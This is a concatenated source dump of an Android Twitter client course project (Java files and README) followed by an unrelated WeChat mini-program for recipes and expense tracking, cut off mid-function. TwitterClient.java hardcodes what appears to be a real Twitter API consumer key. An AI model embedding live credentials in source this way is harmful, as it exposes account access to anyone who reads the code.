tweet.retweetedTweet = fromJSON(jsonObject.getJSONObject("retweeted_status"));
} else {
tweet.isRetweet = false;
tweet.retweetedTweet = null;
}
} catch (JSONException e) {
e.printStackTrace();
}
return tweet;
}
public static ArrayList<Tweet> fromJSONArray(JSONArray jsonArray) {
ArrayList<Tweet> tweets = new ArrayList<>();
for (int i = 0; i < jsonArray.length(); i++) {
try {
JSONObject tweetJson = jsonArray.getJSONObject(i);
Tweet tweet = Tweet.fromJSON(tweetJson);
if (tweet != null) {
tweets.add(tweet);
}
} catch (JSONException e) {
e.printStackTrace();
continue;
}
}
return tweets;
}
// getRelativeTimeAgo("Mon Apr 01 21:16:23 +0000 2014");
public String getRelativeTimeAgo() {
String twitterFormat = "EEE MMM dd HH:mm:ss ZZZZZ yyyy";
SimpleDateFormat sf = new SimpleDateFormat(twitterFormat, Locale.ENGLISH);
sf.setLenient(true);
String relativeDate = "";
try {
long dateMillis = sf.parse(createdAt).getTime();
relativeDate = DateUtils.getRelativeTimeSpanString(dateMillis,
System.currentTimeMillis(), DateUtils.SECOND_IN_MILLIS).toString();
} catch (ParseException e) {
e.printStackTrace();
}
return getShortenedTimeForDisplay(relativeDate);
}
private String getShortenedTimeForDisplay(String longFormattedTime)
{
if (longFormattedTime.matches("Yesterday")) {
return "1d";
} else if (longFormattedTime.matches("[\\d]{1,2} [A-Za-z]+ ago")) {
String[] longFormattedTimeArray = longFormattedTime.split(" ");
return longFormattedTimeArray[0] + longFormattedTimeArray[1].charAt(0);
} else if (longFormattedTime.matches("[A-Za-z]+ [\\d]{1,2}, [\\d]{4}")) {
String[] longFormattedTimeArray = longFormattedTime.split("[ |,]");
return longFormattedTimeArray[0] + " " + longFormattedTimeArray[1];
}
return longFormattedTime;
}
public Spanned getTweetBodyForDisplay()
{
String body = getBody();
for (int i = medias.size() - 1; i >= 0; i--) {
Media media = medias.get(i);
int startIndex = media.getStartIndex();
body = body.substring(0, startIndex);
}
for (int i = urls.size() - 1; i >= 0; i--) {
Url url = urls.get(i);
int startIndex = url.getStartIndex();
int endIndex = url.getEndIndex();
body = body.substring(0, startIndex) + getHtmlUrl(url) + body.substring(endIndex);
}
return Html.fromHtml(body);
}
private String getHtmlUrl(Url url)
{
String htmlUrl = "<a href=\"" + url.getExpandedUrl() + "\">" + url.getDisplayUrl() + "</a>";
return htmlUrl;
}
}
<file_sep>/app/src/main/java/com/codepath/apps/mysimpletweets/activities/TimelineActivity.java
package com.codepath.apps.mysimpletweets.activities;
import android.content.Intent;
import android.graphics.Color;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentPagerAdapter;
import android.support.v4.view.ViewPager;
import android.support.v7.app.ActionBarActivity;
import android.support.v7.widget.Toolbar;
import android.view.Menu;
import android.view.MenuItem;
import com.astuetz.PagerSlidingTabStrip;
import com.codepath.apps.mysimpletweets.R;
import com.codepath.apps.mysimpletweets.TwitterApplication;
import com.codepath.apps.mysimpletweets.TwitterClient;
import com.codepath.apps.mysimpletweets.fragments.HomeTimelineFragment;
import com.codepath.apps.mysimpletweets.fragments.MentionsTimelineFragment;
public class TimelineActivity extends ActionBarActivity {
TwitterClient client;
protected final int COMPOSE_REQUEST_CODE = 15;
protected final int COMPOSE_REPLY_REQUEST_CODE = 25;
public static final int RESULTS_PER_PAGE = 100;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_timeline);
// Set a Toolbar to replace the ActionBar.
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
toolbar.setTitle("");
toolbar.setLogo(R.drawable.ic_twitter_icon);
setSupportActionBar(toolbar);
client = TwitterApplication.getRestClient(); //singleton client
// Get the ViewPager
ViewPager vpPager = (ViewPager) findViewById(R.id.viewpager);
// Set the ViewPager adapter for the pager
vpPager.setAdapter(new TweetsPagerAdapter(getSupportFragmentManager()));
// Find the sliding tabstrip
PagerSlidingTabStrip tabStrip = (PagerSlidingTabStrip) findViewById(R.id.tabs);
tabStrip.setTextColor(Color.parseColor("#55ACEE"));
tabStrip.setBackgroundColor(Color.WHITE);
// Attach the tabstrip to the viewpager
tabStrip.setViewPager(vpPager);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_timeline, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_compose) {
Intent i = new Intent(this, ComposeActivity.class);
this.startActivityForResult(i, COMPOSE_REQUEST_CODE);
}
return super.onOptionsItemSelected(item);
}
// Send an API request to tweet a new message
// private void tweet(String tweetMessage) {
// client.tweet(tweetMessage);
// }
//
// // Send an API request to tweet a new message
// private void tweet(String tweetMessage, long inReplyToStatusId) {
// client.tweet(tweetMessage, inReplyToStatusId);
// }
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
// // REQUEST_CODE is defined above
// if (resultCode == RESULT_OK && requestCode == COMPOSE_REQUEST_CODE) {
// // Extract name value from result extras
// String newTweetMessage = data.getExtras().getString("tweetMessage");
// //int code = data.getExtras().getInt("code", 0);
// tweet(newTweetMessage);
// }
//
// // REQUEST_CODE is defined above
// if (resultCode == RESULT_OK && requestCode == COMPOSE_REPLY_REQUEST_CODE) {
// // Extract name value from result extras
// String newTweetMessage = data.getExtras().getString("tweetMessage");
// long inReplyToStatusId = data.getExtras().getLong("inReplyToStatusId", 0);
// tweet(newTweetMessage, inReplyToStatusId);
// }
}
public void onProfileView(MenuItem mi) {
Intent i = new Intent(this, ProfileActivity.class);
startActivity(i);
}
// Return the order of the fragments in the viewpager
public class TweetsPagerAdapter extends FragmentPagerAdapter {
private String tabTitles[] = {"Home", "Mentions"};
// How the adapter gets the manager to insert or remove fragments from the activity
public TweetsPagerAdapter(FragmentManager fm) {
super(fm);
}
// The order and creation of fragments within the pager
@Override
public Fragment getItem(int position) {
if (position == 0) {
return new HomeTimelineFragment();
}
if (position == 1) {
return new MentionsTimelineFragment();
}
return null;
}
// How many frgaments there are to swipe between
@Override
public int getCount() {
return tabTitles.length;
}
// Return the tab title
@Override
public CharSequence getPageTitle(int position) {
return tabTitles[position];
}
}
}
<file_sep>/app/src/main/java/com/codepath/apps/mysimpletweets/TweetsArrayAdapter.java
package com.codepath.apps.mysimpletweets;
import android.content.Context;
import android.content.Intent;
import android.support.v7.app.ActionBarActivity;
import android.text.method.LinkMovementMethod;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.codepath.apps.mysimpletweets.activities.ComposeActivity;
import com.codepath.apps.mysimpletweets.activities.ProfileActivity;
import com.codepath.apps.mysimpletweets.models.Tweet;
import com.loopj.android.http.JsonHttpResponseHandler;
import com.squareup.picasso.Picasso;
import org.apache.http.Header;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.List;
// Take the tweet objects and turn them into views displayed in the list
public class TweetsArrayAdapter extends ArrayAdapter<Tweet>{
private final int REQUEST_CODE = 25;
private ActionBarActivity activity;
private TwitterClient client;
private static class ViewHolder {
ImageView ivProfileImage;
TextView tvFullName;
TextView tvUsername;
TextView tvCreatedTime;
TextView tvBody;
TextView tvRetweet;
ImageView ivMedia;
ImageView ivReplyImage;
ImageView ivRetweetImage;
TextView tvRetweetCount;
ImageView ivFavoriteImage;
TextView tvFavoriteCount;
LinearLayout llFavoriteViews;
}
public TweetsArrayAdapter(Context context, List<Tweet> tweets) {
super(context, android.R.layout.simple_list_item_1, tweets);
this.activity = (ActionBarActivity) context;
this.client = TwitterApplication.getRestClient();
}
// override and setup custom getView
@Override
public View getView(int position, View convertView, ViewGroup parent) {
// 1. get the tweet
final Tweet tweet = getItem(position);
// 2. find or inflate the template
ViewHolder viewHolder;
if (convertView == null) {
viewHolder = new ViewHolder();
convertView = LayoutInflater.from(getContext()).inflate(R.layout.item_tweet, parent, false);
viewHolder.ivProfileImage = (ImageView) convertView.findViewById(R.id.ivUserProfileImage);
viewHolder.tvFullName = (TextView) convertView.findViewById(R.id.tvFullName);
viewHolder.tvUsername = (TextView) convertView.findViewById(R.id.tvUsername);
viewHolder.tvCreatedTime = (TextView) convertView.findViewById(R.id.tvCreatedTime);
viewHolder.tvBody = (TextView) convertView.findViewById(R.id.tvBody);
viewHolder.tvRetweet = (TextView) convertView.findViewById(R.id.tvRetweet);
viewHolder.ivMedia = (ImageView) convertView.findViewById(R.id.ivMedia);
viewHolder.ivReplyImage = (ImageView) convertView.findViewById(R.id.ivReplyImage);
viewHolder.ivRetweetImage = (ImageView) convertView.findViewById(R.id.ivRetweetImage);
viewHolder.tvRetweetCount = (TextView) convertView.findViewById(R.id.tvRetweetCount);
viewHolder.ivFavoriteImage = (ImageView) convertView.findViewById(R.id.ivFavoriteImage);
viewHolder.tvFavoriteCount = (TextView) convertView.findViewById(R.id.tvFavoriteCount);
viewHolder.llFavoriteViews = (LinearLayout) convertView.findViewById(R.id.llFavoriteViews);
convertView.setTag(viewHolder);
} else {
viewHolder = (ViewHolder) convertView.getTag();
}
final Tweet tweetToInflate;
if (tweet.isRetweet()) {
tweetToInflate = tweet.getRetweetedTweet();
} else {
tweetToInflate = tweet;
}
// 4. populate data into the subviews
if (tweet.isRetweet()) {
viewHolder.tvRetweet.setVisibility(View.VISIBLE);
viewHolder.tvRetweet.setText(tweet.getUser().getName() + " retweeted");
} else {
viewHolder.tvRetweet.setVisibility(View.GONE);
}
viewHolder.tvFullName.setText(tweetToInflate.getUser().getName());
viewHolder.tvUsername.setText("@" + tweetToInflate.getUser().getUsername());
viewHolder.tvCreatedTime.setText(tweetToInflate.getRelativeTimeAgo());
viewHolder.tvBody.setText(tweetToInflate.getTweetBodyForDisplay());
viewHolder.tvBody.setMovementMethod(LinkMovementMethod.getInstance());
viewHolder.tvRetweetCount.setText(tweetToInflate.getRetweetCount() + "");
viewHolder.tvFavoriteCount.setText(tweetToInflate.getFavoriteCount() + "");
viewHolder.ivProfileImage.setImageResource(android.R.color.transparent);
Picasso.with(getContext()).load(tweetToInflate.getUser().getProfileImageUrl()).into(viewHolder.ivProfileImage);
viewHolder.ivProfileImage.setClickable(true);
viewHolder.ivProfileImage.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(getContext(), ProfileActivity.class);
i.putExtra("screen_name", tweetToInflate.getUser().getUsername());
getContext().startActivity(i);
}
});
if (tweetToInflate.getMedias().size() > 0 && tweetToInflate.getMedias().get(0).getType().equals("photo")) {
viewHolder.ivMedia.setVisibility(View.VISIBLE);
Picasso.with(getContext()).load(tweetToInflate.getMedias().get(0).getUrl().getExpandedUrl()).into(viewHolder.ivMedia);
} else {
viewHolder.ivMedia.setVisibility(View.GONE);
}
viewHolder.ivReplyImage.setClickable(true);
viewHolder.ivReplyImage.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(activity, ComposeActivity.class);
i.putExtra("inReplyToStatusId", tweetToInflate.getUid());
i.putExtra("replyToUsername", tweetToInflate.getUser().getUsername());
activity.startActivityForResult(i, REQUEST_CODE);
}
});
viewHolder.llFavoriteViews.setClickable(true);
viewHolder.llFavoriteViews.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
final ImageView ivFav = (ImageView) v.findViewById(R.id.ivFavoriteImage);
final TextView tvFavCount = (TextView) v.findViewById(R.id.tvFavoriteCount);
if (tweet.isFavorited()) {
client.unfavorite(tweetToInflate.getUid(), new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONObject jsonObject) {
try {
int newFavoriteCount = jsonObject.getInt("favorite_count");
tvFavCount.setText(newFavoriteCount + "");
ivFav.setImageResource(R.drawable.ic_action_favorite);
tweet.setFavorited(false);
tweet.setFavoriteCount(newFavoriteCount);
} catch (JSONException e) {
e.printStackTrace();
}
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("DEBUG", errorResponse.toString());
}
});
} else {
client.favorite(tweetToInflate.getUid(), new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONObject jsonObject) {
try {
int newFavoriteCount = jsonObject.getInt("favorite_count");
tvFavCount.setText(newFavoriteCount + "");
ivFav.setImageResource(R.drawable.ic_action_favorited);
tweet.setFavorited(true);
tweet.setFavoriteCount(newFavoriteCount);
} catch (JSONException e) {
e.printStackTrace();
}
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("DEBUG", errorResponse.toString());
}
});
}
}
});
if (tweet.isRetweeted()) {
viewHolder.ivRetweetImage.setImageResource(R.drawable.ic_action_retweeted);
} else {
viewHolder.ivRetweetImage.setImageResource(R.drawable.ic_action_retweet);
}
if (tweet.isFavorited()) {
viewHolder.ivFavoriteImage.setImageResource(R.drawable.ic_action_favorited);
} else {
viewHolder.ivFavoriteImage.setImageResource(R.drawable.ic_action_favorite);
}
// 5. Return the view to be inserted into the list
return convertView;
}
}
<file_sep>/README.md
# Project 4 - Simple Twitter Client (continued)
Simple Twitter Client is an android app that allows a user to view his Twitter timeline and post a new tweet. The app utilizes [Twitter REST API](https://dev.twitter.com/rest/public).
Time spent: **40** hours spent in total
## User Stories
The following **required** functionality is completed:
* [x] The app includes **all required user stories** from Week 3 Twitter Client
* [x] User can **switch between Timeline and Mention views using tabs**
* [x] User can view their home timeline tweets.
* [x] User can view the recent mentions of their username.
* [x] User can navigate to **view their own profile**
* [x] User can see picture, tagline, # of followers, # of following, and tweets on their profile.
* [x] User can **click on the profile image** in any tweet to see **another user's** profile.
* [x] User can see picture, tagline, # of followers, # of following, and tweets of clicked user.
* [x] Profile view includes that user's timeline
* [x] User can [infinitely paginate](http://guides.codepath.com/android/Endless-Scrolling-with-AdapterViews) any of these timelines (home, mentions, user) by scrolling to the bottom
The following **optional** features are implemented:
* [ ] User can view following / followers list through the profile
* [ ] Implements robust error handling, [check if internet is available](http://guides.codepath.com/android/Sending-and-Managing-Network-Requests#checking-for-network-connectivity), handle error cases, network failures
* [ ] When a network request is sent, user sees an [indeterminate progress indicator](http://guides.codepath.com/android/Handling-ProgressBars#progress-within-actionbar)
* [x] User can **"reply" to any tweet on their home timeline**
* [x] The user that wrote the original tweet is automatically "@" replied in compose
* [ ] User can click on a tweet to be **taken to a "detail view"** of that tweet
* [x] User can take favorite (and unfavorite) a tweet
* [ ] User can retweet a tweet
* [x] Improve the user interface and theme the app to feel twitter branded
* [ ] User can **search for tweets matching a particular query** and see results
The following **bonus** features are implemented:
* [ ] User can view their direct messages (or send new ones)
The following **additional** features are implemented:
* [ ] List anything else that you can get done to improve the app functionality!
## Video Walkthrough
Here's a walkthrough of implemented user stories:

GIF created with [LiceCap](http://www.cockos.com/licecap/).
## Notes
I wasn't able to implement retweeting in time, but I saw that it is a little more complicated than I originally thought it would be due to the way retweets are handled. I also want to implement the caching for using twitter in offline mode, and do error handling, and allow the user to open tweets in a detailed view. I will have to do that in the next iteration.
Also, you might be wondering why my entire commit history is missing. It is because during my walkthrough, I had typed in my password, which android showed letter-by-letter. I forgot this detail, and didn't see it until I watched the gif after I had pushed it to the main branch. In order to remove it from the history, I had to re-initialize the git repo, which wiped out the history.
## Open-source libraries used
- [Android Async HTTP](https://github.com/loopj/android-async-http) - Simple asynchronous HTTP requests with JSON parsing
- [Picasso](http://square.github.io/picasso/) - Image loading and caching library for Android
<file_sep>/app/src/main/java/com/codepath/apps/mysimpletweets/TwitterClient.java
package com.codepath.apps.mysimpletweets;
import android.content.Context;
import android.util.Log;
import com.codepath.apps.mysimpletweets.models.Tweet;
import com.codepath.oauth.OAuthBaseClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.JsonHttpResponseHandler;
import com.loopj.android.http.RequestParams;
import org.apache.http.Header;
import org.json.JSONArray;
import org.json.JSONObject;
import org.scribe.builder.api.Api;
import org.scribe.builder.api.TwitterApi;
import java.util.ArrayList;
/*
*
* This is the object responsible for communicating with a REST API.
* Specify the constants below to change the API being communicated with.
* See a full list of supported API classes:
* https://github.com/fernandezpablo85/scribe-java/tree/master/src/main/java/org/scribe/builder/api
* Key and Secret are provided by the developer site for the given API i.e dev.twitter.com
* Add methods for each relevant endpoint in the API.
*
* NOTE: You may want to rename this object based on the service i.e TwitterClient or FlickrClient
*
*/
public class TwitterClient extends OAuthBaseClient {
public static final Class<? extends Api> REST_API_CLASS = TwitterApi.class; // Change this
public static final String REST_URL = "https://api.twitter.com/1.1"; // Change this, base API URL
public static final String REST_CONSUMER_KEY = "QedmF96GHL047pfRSj44cJBwP"; // Change this
public static final String REST_CONSUMER_SECRET = "<KEY>"; // Change this
public static final String REST_CALLBACK_URL = "oauth://cpsimpletweets"; // Change this (here and in manifest)
private TwitterClientHomeListener homeTimelineListener;
private TwitterClientMentionsListener mentionsTimelineListener;
private TwitterClientUserListener userTimelineListener;
public interface TwitterClientHomeListener {
public void onRefreshTimeLine();
public void onLoadMoreTweets(ArrayList<Tweet> resultTweets);
}
public interface TwitterClientMentionsListener {
public void onRefreshTimeLine();
public void onLoadMoreTweets(ArrayList<Tweet> resultTweets);
}
public interface TwitterClientUserListener {
public void onRefreshTimeLine();
public void onLoadMoreTweets(ArrayList<Tweet> resultTweets);
}
public TwitterClient(Context context) {
super(context, REST_API_CLASS, REST_URL, REST_CONSUMER_KEY, REST_CONSUMER_SECRET, REST_CALLBACK_URL);
}
// METHOD == ENDPOINT
// HomeTimeLine - get us the home timeline
public void getHomeTimeline(AsyncHttpResponseHandler handler)
{
String apiUrl = getApiUrl("statuses/home_timeline.json");
RequestParams params = new RequestParams();
params.put("count", 100);
params.put("since_id", 1);
getClient().get(apiUrl, params, handler);
}
public void getMentionsTimeline(AsyncHttpResponseHandler handler) {
String apiUrl = getApiUrl("statuses/mentions_timeline.json");
RequestParams params = new RequestParams();
params.put("count", 100);
params.put("since_id", 1);
getClient().get(apiUrl, params, handler);
}
public void tweet(String tweetMessage)
{
tweet(tweetMessage, 0);
}
// Composing a tweet
public void tweet(String tweetMessage, long inReplyToStatusId)
{
String apiUrl = getApiUrl("statuses/update.json");
RequestParams params = new RequestParams();
params.put("status", tweetMessage);
final long inReplyToStatusIdToPass = inReplyToStatusId;
if (inReplyToStatusId != 0) {
params.put("in_reply_to_status_id", inReplyToStatusId);
}
getClient().post(apiUrl, params, new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONObject json) {
if (homeTimelineListener != null) {
homeTimelineListener.onRefreshTimeLine(); // <---- fire listener here
}
if (inReplyToStatusIdToPass != 0 && mentionsTimelineListener != null) {
mentionsTimelineListener.onRefreshTimeLine(); // <---- fire listener here
}
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("DEBUG", errorResponse.toString());
}
});
}
// LoadMoreHomeTimeLineTweets
public void loadMoreHomeTimelineTweets(long idOfOldestTweet)
{
String apiUrl = getApiUrl("statuses/home_timeline.json");
RequestParams params = new RequestParams();
params.put("count", 100);
params.put("max_id", (idOfOldestTweet - 1));
Log.d("DEBUG", apiUrl);
Log.d("DEBUG", params.toString());
getClient().get(apiUrl, params, new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray json) {
Log.d("DEBUG", statusCode + "");
Log.d("DEBUG", json.toString());
ArrayList<Tweet> resultTweets = new ArrayList<Tweet>();
resultTweets.addAll(Tweet.fromJSONArray(json));
if (homeTimelineListener != null) {
homeTimelineListener.onLoadMoreTweets(resultTweets); // <---- fire listener here
}
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("DEBUG", errorResponse.toString());
}
});
}
public void loadMoreMentionsTimelineTweets(long idOfOldestTweet)
{
String apiUrl = getApiUrl("statuses/mentions_timeline.json");
RequestParams params = new RequestParams();
params.put("count", 100);
params.put("max_id", (idOfOldestTweet - 1));
Log.d("DEBUG", apiUrl);
Log.d("DEBUG", params.toString());
getClient().get(apiUrl, params, new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray json) {
Log.d("DEBUG", statusCode + "");
Log.d("DEBUG", json.toString());
ArrayList<Tweet> resultTweets = new ArrayList<Tweet>();
resultTweets.addAll(Tweet.fromJSONArray(json));
if (mentionsTimelineListener != null) {
mentionsTimelineListener.onLoadMoreTweets(resultTweets); // <---- fire listener here
}
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("DEBUG", errorResponse.toString());
}
});
}
public void loadMoreUserTimelineTweets(String screenName, long idOfOldestTweet)
{
String apiUrl = getApiUrl("statuses/user_timeline.json");
RequestParams params = new RequestParams();
params.put("count", 100);
params.put("screen_name", screenName);
params.put("max_id", (idOfOldestTweet - 1));
Log.d("DEBUG", apiUrl);
Log.d("DEBUG", params.toString());
getClient().get(apiUrl, params, new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray json) {
Log.d("DEBUG", statusCode + "");
Log.d("DEBUG", json.toString());
ArrayList<Tweet> resultTweets = new ArrayList<Tweet>();
resultTweets.addAll(Tweet.fromJSONArray(json));
if (userTimelineListener != null) {
userTimelineListener.onLoadMoreTweets(resultTweets); // <---- fire listener here
}
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("DEBUG", errorResponse.toString());
}
});
}
public void setTwitterClientHomeListener(TwitterClientHomeListener listener) {
this.homeTimelineListener = listener;
}
public void setTwitterClientMentionsListener(TwitterClientMentionsListener listener) {
this.mentionsTimelineListener = listener;
}
public void setTwitterClientUserListener(TwitterClientUserListener listener) {
this.userTimelineListener = listener;
}
// Favoriting a Tweet
public void favorite(long idOfStatusToFavorite, AsyncHttpResponseHandler handler)
{
String apiUrl = getApiUrl("favorites/create.json");
RequestParams params = new RequestParams();
params.put("id", idOfStatusToFavorite);
getClient().post(apiUrl, params, handler);
}
// Unfavoriting a Tweet
public void unfavorite(long idOfStatusToFavorite, AsyncHttpResponseHandler handler)
{
String apiUrl = getApiUrl("favorites/destroy.json");
RequestParams params = new RequestParams();
params.put("id", idOfStatusToFavorite);
getClient().post(apiUrl, params, handler);
}
public void getUserTimeline(String screenName, AsyncHttpResponseHandler handler)
{
String apiUrl = getApiUrl("statuses/user_timeline.json");
RequestParams params = new RequestParams();
params.put("count", 100);
params.put("since_id", 1);
params.put("screen_name", screenName);
getClient().get(apiUrl, params, handler);
}
public void getUserInfo(String screenName, AsyncHttpResponseHandler handler)
{
String apiUrl = getApiUrl("users/lookup.json");
RequestParams params = new RequestParams();
params.put("screen_name", screenName);
getClient().get(apiUrl, params, handler);
}
public void getPrimaryUserInfo(AsyncHttpResponseHandler handler)
{
String apiUrl = getApiUrl("account/verify_credentials.json");
getClient().get(apiUrl, null, handler);
}
/* 1. Define the endpoint URL with getApiUrl and pass a relative path to the endpoint
* i.e getApiUrl("statuses/home_timeline.json");
* 2. Define the parameters to pass to the request (query or body)
* i.e RequestParams params = new RequestParams("foo", "bar");
* 3. Define the request method and make a call to the client
* i.e client.get(apiUrl, params, handler);
* i.e client.post(apiUrl, params, handler);
*/
}<file_sep>/app/src/main/java/com/codepath/apps/mysimpletweets/fragments/TweetsListFragment.java
package com.codepath.apps.mysimpletweets.fragments;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ListView;
import com.codepath.apps.mysimpletweets.R;
import com.codepath.apps.mysimpletweets.TweetsArrayAdapter;
import com.codepath.apps.mysimpletweets.TwitterApplication;
import com.codepath.apps.mysimpletweets.TwitterClient;
import com.codepath.apps.mysimpletweets.models.Tweet;
import java.util.ArrayList;
public class TweetsListFragment extends Fragment {
protected ArrayList<Tweet> tweets;
protected TweetsArrayAdapter aTweets;
protected ListView lvTweets;
TwitterClient client;
public long idOfOldestTweetResult;
// inflation logic
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup parent, @Nullable Bundle savedInstanceState)
{
View v = inflater.inflate(R.layout.fragment_tweets_list, parent, false);
lvTweets = (ListView) v.findViewById(R.id.lvTweets);
lvTweets.setAdapter(aTweets);
return v;
}
// creation lifecycle event
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
tweets = new ArrayList<>();
aTweets = new TweetsArrayAdapter(getActivity(), tweets);
client = TwitterApplication.getRestClient();
}
}
|
a6149b0005a2277502f20bb402393746e8394b34
|
[
"Markdown",
"Java"
] | 7
|
Java
|
yabanjin25/SimpleTwitterClient
|
90c71947a7815fd8f65f46261697544f5791c0fe
|
85f63bd81ec291e1472fb1c9807b40bac38b84a7
|
refs/heads/master
|
<repo_name>Summer-Frontend/33-<file_sep>/miniprogram/pages/recipes-content/recipes-content.js
// pages/recipes-content/recipes-content.js
const db = wx.cloud.database();
Page({
/**
* 页面的初始数据
*/
data: {
showmodel: true,
array: ['炒菜', '面食', '泡菜', '汤类', '烘培'],
multiIndex: 0,
recipesValue: '',
recipesType: '',
id: ''
},
bindPickerChange: function (e) {
console.log('picker发送选择改变,携带值为', e.detail.value)
this.setData({
index: e.detail.value
})
},
formSubmit: function (e) {
var that = this;
var picketype = ''
if (e.detail.value.picketype){
picketype = that.data.array[e.detail.value.picketype]
}else{
picketype = that.data.recipesType
}
if (that.data.recipesType){
db.collection('user-recipe').doc(that.data.id).update({
data: {
title: e.detail.value.recipescontent,
ptype: picketype,
content: e.detail.value.recipenewtext,
hot: false
},
success: function(res){
console.log('res')
that.setData({
showmodel: false
})
}
})
}else{
var picketype = this.data.array[e.detail.value.picketype];
db.collection('user-recipe').add({
// data 字段表示需新增的 JSON 数据
data: {
title: e.detail.value.recipescontent,
ptype: picketype,
content: e.detail.value.recipenewtext,
hot: false
}
})
.then(res => {
this.setData({
showmodel: false
})
})
}
},
gotoRecipesList: function () {
wx.switchTab({
url: '/pages/recipes/recipes'
})
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var that = this;
var id = options.id;
this.setData({
id: id
})
if (id) {
db.collection('user-recipe').where({
_id: id
}).get({
success: function (res) {
that.setData({
recipesValue: res.data[0].title,
recipesType: res.data[0].ptype,
recipesZheng: res.data[0].content
})
console.log(res.data)
}
})
}
console.log(id, '134')
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})<file_sep>/miniprogram/pages/zhang/zhang.js
// pages/zhang/zhang.js
const db = wx.cloud.database();
Page({
/**
* 页面的初始数据
*/
data: {
listnewnum: 0,
listnew: [],
num: 0,
zhang: 6000,
zhi: 0,
yu: 0,
showmodel: false
},
formSubmit: function(e){
db.collection('user-zhang').add({
// data 字段表示需新增的 JSON 数据
data: {
date: new Date(),
name: e.detail.value.name,
zhang: e.detail.value.zhang,
type: e.detail.value.ztype,
}
})
.then(res => {
this.setData({
showmodel: false
})
wx.switchTab({
url: '/pages/zhang/zhang?id=2'
})
// this.setData({ contentValue: ''});
})
},
showmodal: function(){
this.setData({
showmodel: true
})
},
closemodal: function () {
this.setData({
showmodel: false
})
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
var that = this;
db.collection('user-zhang').get({
success: function (res) {
// console.log(res,'asdf')
var list = [];
list = res.data;
for (var i in list) {
var date = (list[i].date.getUTCMonth() + 1) + '月' + list[i].date.getUTCDate()+'号'
list[i].datenew = date;
if (i == 0) {
var param_content = 'listnew[0].list[0].name';
var param_date = 'listnew[0].date';
var param_type = 'listnew[0].list[0].zhang';
var param_dateId = 'listnew[0].dateId';
var param_shou = 'listnew[0].shou';
var param_zhi = 'listnew[0].zhi';
if(list[0].type == 1){
var zhi = list[0].zhang;
var shou = 0;
list[0].zhang = -list[0].zhang;
}else{
var shou = list[0].zhang;
var zhi = 0;
}
var yu = that.data.zhang+list[0].zhang;
var zongZhi = that.data.zhi+ zhi;
that.setData({
[param_content]: list[0].name,
[param_type]: list[0].zhang,
[param_date]: date,
[param_dateId]: list[0].date,
[param_shou]: shou,
[param_zhi]: zhi,
yu: yu,
zhi: zongZhi
})
} else {
if (i != 0 && list[i].datenew == list[i - 1].datenew) {
var num = that.data.num
var listnewnum = that.data.listnewnum + 1;
var param_content = 'listnew[' + num + '].list[' + listnewnum + '].name';
var param_zhang = 'listnew[' + num + '].list[' + listnewnum + '].zhang';
var param_shou = 'listnew[' + num + '].shou';
var param_zhi = 'listnew[' + num + '].zhi';
if (list[i].type == 1) {
var zhi = parseInt(that.data.listnew[num].zhi) + parseInt(list[i].zhang);
list[i].zhang = -list[i].zhang;
var shou = that.data.listnew[num].shou;
} else {
var shou = parseInt(that.data.listnew[num].shou) + parseInt(list[i].zhang);
var zhi = that.data.listnew[num].zhi;
}
var yu = parseInt(that.data.yu) + parseInt(list[i].zhang);
